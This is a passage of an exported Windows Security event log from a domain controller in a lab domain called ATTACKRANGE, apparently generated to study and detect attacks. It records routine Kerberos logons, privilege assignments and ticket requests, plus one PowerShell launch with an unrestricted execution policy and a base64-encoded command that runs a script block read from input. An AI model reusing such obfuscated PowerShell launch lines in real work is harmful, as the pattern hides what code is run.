	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16C46B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64651

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252614
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C46B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252613
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C30D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252611
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16C30D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64650

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252610
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C30D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252609
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C263

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252608
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16C263
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64649

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252607
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C263

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252606
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16C1D7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64648

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252605
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C1D7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252604
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16C132
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64645

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252603
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C132

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252602
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x16C0E0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64643

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252601
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16C0E0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252600
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16BD95

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252599
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16BD95
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252598
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252597
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252596
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252595
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1164
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252594
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1164
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x284
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252593
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16AA9F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252592
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16AA9F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{57681CD2-1F89-9D48-0B76-A53019935F69}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252591
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
